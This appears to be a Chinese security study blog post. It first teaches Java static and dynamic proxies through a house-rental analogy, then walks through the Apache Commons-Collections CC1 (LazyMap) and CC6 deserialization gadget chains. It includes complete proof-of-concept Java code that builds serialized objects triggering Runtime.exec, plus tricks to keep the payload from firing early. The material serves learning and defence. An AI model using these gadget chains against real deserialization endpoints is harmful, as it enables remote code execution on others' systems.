Java动态代理
代理是 Java 中的一种设计模式,主要用于提供对目标对象另外的访问方式,即通过代理对象访问目标对象。这样,就可以在目标对象实现的基础上,加强额外的功能操作,实现扩展目标对象的功能。生活中有很多这样的例子,例如:租客找中介租房子,海外留学找留学机构等,专业的事情找专业的人去做解决顾客大部分烦恼。代理也是通过反射所实现的一种方式,代理分为 静态代理、动态代理、CGLib代理,下面对这三种代理模式进行简单的分析。
静态代理
自己写一个代理,通过代理访问接口,代理也可以增强功能。
代码简单实现:
租房服务
实现一个接口,相当于租房服务,租客和中介都知道有这个服务
public interface person {
void rentHouse();
// void buy();
}
租客
租客也了解这个服务
public class Renter implements person{
@Override
public void rentHouse() {
System.out.println("租客租房成功!");
}
中介
租客为了满足自己的需求,需要找专业的中介,通过构造方法来获取租客(被代理类)对象并调用方法。
public class RenterProxy implements person{
private final person renter;
public RenterProxy(person renter){ // 获取租客对象
this.renter = renter;
}
@Override
public void rentHouse() {
sublet();
renter.rentHouse();
rent();
}
public void sublet(){ // 中介的独特技能,功能增强
System.out.println("中介找房东租房,转租给租客!");
}
public void rent(){ // 中介的独特技能,功能增强
System.out.println("中介给租客钥匙,租客入住!");
}
main
public class Test {
public static void main(String[] args) {
person renter = new Renter();
RenterProxy proxy = new RenterProxy(renter);
// proxy.buy();
proxy.rentHouse();
}
为什么需要使用动态代理?
public interface person {
void rentHouse();
void buy();
void exitrent();
void sen();
}
如果我们的接口需要实现很多方法,那么我们对应的也要修改中介(代理类)和租客(被代理类)的实现,必须要重写接口增加的其他方法,这样就会显得很臃肿,所以引入动态代理。
动态代理
租房服务
实现一个接口,相当于租房服务,租客和中介都知道有这个服务
public interface person {
void rentHouse();
void buy(); // 新增方法
}
租客
租客也了解这个服务
public class Renter implements person{
@Override
public void rentHouse() {
System.out.println("租客租房成功!");
}
// 重写新的方法
@Override
public void buy() {
System.out.println("购买房间成功");
}
中介
租客为了满足自己的需求,需要找专业的中介,这里的中介换成了系统提供的RenterInvocationHandler通过重写invoke的方法来实现反射调用租客(被代理类)的方法,就不用去重写接口方法。
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class RenterInvocationHandler<P> implements InvocationHandler {
private person target;
public RenterInvocationHandler(person target){
this.target = target;
}
/**
* proxy:代表动态代理对象
* method:代表正在执行的方法
* args:代表调用目标方法时传入的实参
*/
@Override
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable {
//代理过程中插入其他操作
System.out.println("租客和中介交流");
Object result = method.invoke(target, args);
return result;
}
}
main
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class ProxyTest {
public static void main(String[] args) {
//创建被代理的实例对象
person renter = new Renter();
//创建InvocationHandler对象
InvocationHandler renterHandler = new RenterInvocationHandler<person>(renter);
Class<person> personClass = person.class;
//创建代理对象,代理对象的每个执行方法都会替换执行Invocation中的invoke方法
person renterProxy = (person) Proxy.newProxyInstance(person.class.getClassLoader(),new Class<?>[]{person.class}, renterHandler);
renterProxy.rentHouse();
// renterProxy.buy();
可以发现在中介这一部分不需要去重写接口的方法,而是让顾客(被代理类)去实现然后反射调用方法,减少冗余,其中newProxyInstance就是创建代理的过程。
CC1_LazyMap and CC6 利用链
CC1_LazyMap
之前反推了CC1的Transformedmap这条链,在反推到谁调用了transform()方法的时候,我们选择了用Transformedmap,其实官方选用的是LazyMap这个链,接下来我们就简单分析一下。
LazyMap的get方法调用了transform方法,接下来就要考虑是谁调用了get方法,根据官方的利用链来看:
代码实现
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
package Java_deserialization;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc1_LazyMap {
public static void main(String[] args) throws ClassNotFoundException,
InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchMethodException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
//这里使用lazymap
Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationconstructor.newInstance(Override.class, lazymap);
Object mapProxy = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); // 通过代理调用 set方法
Object o = annotationconstructor.newInstance(Override.class, mapProxy);
// serialize(o);
unserialize("se.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("se.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
简要分析
后半段利用链还是不变,通过transform来触发恶意代码,只是前半段变化了。
// 换成了LazyMap
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
// 使用动态代理进入invoke方法
InvocationHandler h = (InvocationHandler) annotationconstructor.newInstance(Override.class, lazymap);
Object mapProxy = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
反序列化触发readObject,然后readObject方法调用Map(Proxy).entrySet():
其中memberValues是可控的,然后使用动态代理进入invoke方法,这里的invoke方法其实是有两个判断的,第一个就是调用equals方法会直接返回,第二个是调用有参方法也走不到下面get方法去,那就需要考虑readObject方法里面有没有一个无参的方法,非常巧合这里有一个entrySet()方法:
最后进入LazyMap.get()方法:
这一条攻击链就使用了动态代理,可以帮助我们理解动态代理的妙用。
LazyMap动态代理浅析
查看newProxyInstance():
InvocationHandler h = (InvocationHandler) annotationconstructor.newInstance(Override.class, lazymap);
Object mapProxy = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); //动态代理
第一个参数LazyMap.class.getClassLoader()相当于我们之前提到的租房服务(),第三个参数h就是中介(代理)
跟我们之前写的中介是一样的,当我们readObject方法调用map.entrySet()时就会触发invoke进入invoke以后因为调用的是无参构造所以可以绕过两个if判断,调用LazyMap的同名方法get。
Jdk1.7以后修复了这条链:
CC6利用链(没有jdk限制)
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"abc");
lazymap.remove("key");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("se.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("se.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
CC6利用链在CC1的基础上同样使用了LazyMap.get()方法来触发,只不过在AnnotationInvocationHandler修复以后就不能通过动态代理来直接调用他的get方法了。CC6使用了URLDNS这条链的方法,通过hashmap来作为触发点,因为之前在URLDNS这条链也说了hashmap类型宽泛,可以反序列化,重写readObject方法。
第二步key传入TiedMapEntry,然后来调用它的同名方法:
第三步:
第四步就是实例化TiedMapEntry的时候放入LazyMap,然后就实现了调用LazyMap.get()方法,就跟CC1是一样的了。
问题
要使用HashMap作为入口,那么在序列化put的时候就肯定会调用hash方法,那么在序列化的时候就会执行恶意代码,显然这不是我们希望的结果:
遇到的问题跟URLDNS是一样的,需要通过反射来更改他的值,至于更改谁这里有很多的选择,我们这里选择LazyMap.get的时候不放入我们的tranform利用方法,随便让他执行一个没用的方法,只要保证在put的时候不执行就可以了,然后等put执行完以后我们在通过反射传入我们的transform恶意链。
//通过反射在传入我们的恶意方法
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
但是在反序列化的时候我们的恶意代码还是没有执行,通过调试发现在put的时候LazyMap的key就已经被指定了,导致我们反射传入的key没有执行,所以我们在put完以后也要删除我们传入的key值。
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"abc");
lazymap.remove("key"); // 删除key